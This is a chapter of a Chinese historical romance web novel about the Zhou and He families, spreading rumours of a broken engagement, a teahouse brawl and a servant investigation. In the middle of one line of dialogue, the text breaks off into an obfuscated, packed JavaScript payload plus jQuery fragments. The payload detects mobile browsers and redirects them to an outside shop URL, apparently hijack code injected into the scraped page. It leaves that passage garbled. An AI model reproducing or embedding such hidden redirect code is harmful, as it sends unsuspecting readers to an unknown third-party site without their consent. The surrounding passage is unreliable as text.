还是同一间雅室,窗牖大开,室内宽敞明亮,帷幔轻轻垂放,因为太长尾端层层堆叠在一起,像是起伏不绝的山峦。
帷幔上的墨色竹画映在墙壁上,坐在里面颇有身处苍翠竹林之感。
茶还在煮,冒出腾腾热气。
氲氤热气令宜歌的面容有些朦胧,如同蒙上了一层雾,时隐时现,唯独那双眼睛清晰明亮。
这双秋水般的眸子,令人难以忘怀。
它似乎藏着什么未知的秘密。
茶煮好,小二倒两盏茶道:“茶才煮好,二位小心烫。”
依旧是皋芦茶,宜歌不喜它的甘苦,晾了许久也没有喝。
谢濯不言语,也是,本来就是她请他还人情的,理应她先开口:“这句话已经说过许多遍了,但千言万语都抵不过公子对我的救助,还是要说一声‘多谢公子’。”
谢濯颔首还是那句“无妨”“不必言谢”之类的话。
俩人的交集在宜歌看来就是从万里屯他救她开始的,她对他不甚了解,除感谢的话便无话可说,谢公子似乎又是个冷淡寡言之人,她找不到话题也不知接下来该说些什么。
俩人干坐着,他喝茶,她朝窗外看蓝天白云。
她侧颜黛眉入鬓,鸦睫浓密又卷又长,鼻梁秀气高挺,红唇如樱。
琉璃似的眼瞳里盛满窗外的葳蕤。
隔壁雅间,是一些学子聚在一起喝茶闲聊。
周何两家的事本来鲜为人知,不知为何竟让外人知晓。
何绩的同窗手搭着他的肩,好奇中又带些看戏的意味问道:“何兄,我听闻你要娶周家的三娘子?”
何绩脸色不太好看,沉默着不言语。
“何兄怎么不说话,还是说…你的心思其实是在周二娘子那,你们莫不是早就…妹夫和姨姐,何兄还是你放得开啊。”
何绩黑着脸,“闭上你的嘴,喝茶都能喝醉是吧,净说些胡话!”
同窗不以为意,仿佛没有察觉他隐约的怒意,继续调笑道:“我说何兄你就实话说了吧,这有什么不能承认的。”
他说完还有人附和。
何绩无法容忍,横眉竖眼,往日儒雅随和的气质消失不见,手里的茶杯被捏碎,他一把抓起他的衣襟。
另一边还在望景的宜歌听到动静,颦了一下眉,转过头来,谢濯立马垂下眼眸看着茶杯里的茶水。
“两位公子别打了,有事好好说。”掌柜劝道。
宜歌起身出去看看是怎么回事,谢濯紧跟其后。
掌柜愁眉苦脸的,怕被牵扯进去误伤到,只敢在一旁说些不痛不痒的话。
周遭围了不少人,没有几个会是劝架的,都是看热闹不嫌事大。
俩月人扭打在一块,完全不顾及场合和读书人的形象。
直到何绩看见熟悉的身影才停手,那位同窗顺势推他一把而后站起来给他一拳,一直被他打得毫无还手之力,这也算是报仇了。
何绩被打得措不及防,头偏过去,脸颊赫然紫了一块,嘴角还有一点血。
那同窗推到了人群中,何绩也没有再还手。
其余同窗中有一位过来拍拍何绩的肩膀,劝解道:“他玩笑话说得确实过了些,这打也打了,何兄消消气莫要再计较。”
何绩甩手显然这事没有不计较的意思,只是他一句话也没说直接走了。
掌柜的看到店内这么多损伤头脑发涨。
宜歌俯视凝望何绩离去的身影,莫名生出一丝愧疚感,但是又很快压下去。
周遭的人群渐渐退去,宜歌听见——
“急躁成这样,看来事情八成是真的了,他就是看上了自己未婚妻的姐姐。”
“你别说了,不怕他还打你啊。”
宜歌听了目光垂覆,鸦睫掩住她眼底的暗波。
真会颠倒黑白,明明记得赵娘子已经严明周府所有人不准将事情说出去,倘若有漏网之鱼,又是谁在背后编排。
谢濯察觉到她的情绪,市井间他也有听闻一些关于周何两家的事,其实外面的流言说的比这些人还要难听。
她心情不佳,想必需要一个人静处,于是拱手道:“周二娘子,今日之后你就不欠我人情了。我还有事就告辞。”
宜歌抬眸含笑点头。
待他走后,宜歌迈出茶楼,脑海里思忖着,背后添油加醋的人会是谁呢。
溘然想起五日前,谢家表小姐说过的话,看来这位表小姐对谢濯有意。
只是如此行径是想膈应自己,还是想坏掉谢濯对自己的印象呢。
可能都有。
想到这里,宜歌恍然想起自己似乎忘记该找什么样的借口继续和谢濯相处,现在他人已经走了,再约见也不好约,总不能直接去他府上吧。
算了算了,这个不成就下一个。
何绩带着伤回去,吕夫人一眼就看到,心疼道:“绩儿你这是怎么搞的啊,被人打了?”
“没事。”何绩面无表情道。
吕夫人看他这幅样子似乎是猜到了,“外边的流言,为娘也听到了些,你这是为兰儿被人打的吧。”
她叹气,“你说你这是何必呢,她已经与你不相干了,你这么激进不等于是变相将外边的流言坐实了么?”
何绩嗓音沙哑又透着颓废,“可我忍受不了任何人背后编排兰妹妹,哪怕我与兰妹妹没有做夫妻的缘分。”
事情发展成现在这个样子,吕夫人也头疼,她坐在石凳上摁着头。
当初迟迟不退婚就是考虑两家情谊与何家的名声,早知现在还不如早些退婚得了,哪有这档子事。
何绩突然道:“娘,您和爹爹其实早就想与周家退亲了吧。那日表妹来,也是您喊来的是不是,您想我娶表妹是不是?”
他嗓音缥缈落不到实处,融在空气里浸透着悲凄。
吕夫人愣怔,何绩苦笑有些自暴自弃,“您估计也很后悔当时顾前顾后没有决绝一点吧,我也是这么想,还不如早点退亲另娶她人,或许就不会有今日不堪入耳的流言蜚语。”
庭院深深,黄桷树郁郁,其间传出簌簌动静,鹊鸲展翅高飞一去不复返了。
周家这边自然也听到外面的风言风语。
都说清者自清,浊者自浊,可是人言可畏,故而赵姨娘一定要抓出府中那个说漏嘴的人,没有此人透风出去别人哪里能加叶添枝呢。
庭院内,站着各院、浆洗房、库房及庖厨的仆从。
赵姨娘平时是很平易近人的,今日却怒形于色,众人见状低着头不敢言语。
“是谁说的?”语气是平和却酝酿着狂风暴雨。
这种时候,赵姨娘越是这样,底下的仆从就越胆颤惊心。
都摇头否认,做了的人也不敢承认。
赵姨娘神情冷然凝视这些仆从,有些手段她也不想用,只是不逼一逼恐怕抓不出这个喜欢嚼舌根子的人,正欲开口,嬷嬷一脸肃然:“娘子,王娘子来了。”
王姨娘冲进来愤然,“把我院里的全部喊出来,半天了也不见人回来!你到底问好了没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739040|208752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有。”
赵姨娘尽量平和道:“王娘子,人还没抓到,请你再等等。”
婢子请王姨娘先出去,她手一甩,“我可不管,二娘子那事总不可能会是我院里的人闹的,你问也问了我要带人走。”
赵姨娘道:“王娘子何必急于这一时,更何况老夫人院里的人也在这呢,等我抓到人了你院里的仆从自然就回去了。”
王姨娘扫了人群一眼,的确浔园的仆从也在,就连在老夫人身边伺候二十余年的梁嬷嬷也没能幸免。
“浔园的仆从都是老夫人一手调教出来的,不需要你问自然是也是没有什么问题的,难道还会不知家丑不外扬,主家之事不可妄议的道理?就是为你彰显你的威严罢了。”王姨娘道,“我院里的人,我比你更了解。”
王姨娘推开挡在前面的嬷嬷,“荷园的人都出来。”
人群中却无人敢动,王姨娘瞠目而视:“都胳膊肘往外拐是吧,你们到底是谁院里的人,还不出来!”
一会后,赵姨娘悠悠道:“荷园的先出来吧。”
王姨娘羞愤难当,脸色都憋红了,资历比她老管家权让她得了也就算了,如今连自己院里的人都使唤不动。
她咬牙切齿问过自己院里的仆从,都说没有,不曾议论二娘子与何公子的事。
于是她又略微得意,“看见了吧,都说没有。”
王姨娘欲让荷园的人都回去,赵姨娘却指着一个嬷嬷道:“其余人可以走了,你留下。”
在王姨娘说荷园的人都可以离开的时候,这人明显暗自松了口气。
嬷嬷哀道:“赵娘子这是缘何啊?怎么她们能走,我不能走。”
她向王姨娘哭诉,“娘子,赵姨娘莫不是有意针对我这个老婆子,这么多人偏偏就留下老奴,我还是您院里的人……”
赵姨娘听出她挑拨离间的意思,不及王姨娘说话,向梁嬷嬷使了一个眼色,梁嬷嬷立即恭敬笑道:“王娘子您也累了,回荷园休息吧。”
王姨娘话还没说出口就被堵了回去。
赵姨娘将人带到了浔园,在周老夫人面前一瞬间什么都承认了。
王姨娘其实也没想到这事真的是自己院里的人多嘴,周老夫人发令处置了人,随后赵姨娘离开浔园。
周老夫人留王姨娘在中堂,严肃道:“你平日里要管紧些底下人,外面传出的流言虽主要是兰儿与何大公子之间的事,可是这对芳儿也有影响啊,她是你亲生骨肉,你要上点心。”
王姨娘姿态放得低,福身道:“记住您的教诲了。”
也不知道到底是不是真的听进去了,周老夫人道:“行了,你走吧。”
王姨娘去了红倚园在房门口,淡然道:“外边的那些混话,你别放在心上。你祖母抓到人都已经处理好了。”
房内飘出来一句:“知道了。”
王姨娘说完这话回了荷园。
溪园那边,是梁嬷嬷过去说的,还转达了好些周老夫人宽慰的话语。
这事算是告一段落,外边的流言周家也在想法子扭转,只是需要时间,因此周老夫人让家里的两位小姐这段时间先不要出门,等流言渐渐消散再说。
而何绩总认为这事是自己的错,期间想着来周府道歉,只是考虑外面的情形不好登门便作罢。
日月往来,兔走乌飞,过了近一个月,街巷里不再讨论周何两家的事。
还有两天就是庙会,街边楼宇已经挂上彩灯和红绸,葱蔚洇润中多了些明艳的色彩,颇有过年的气派。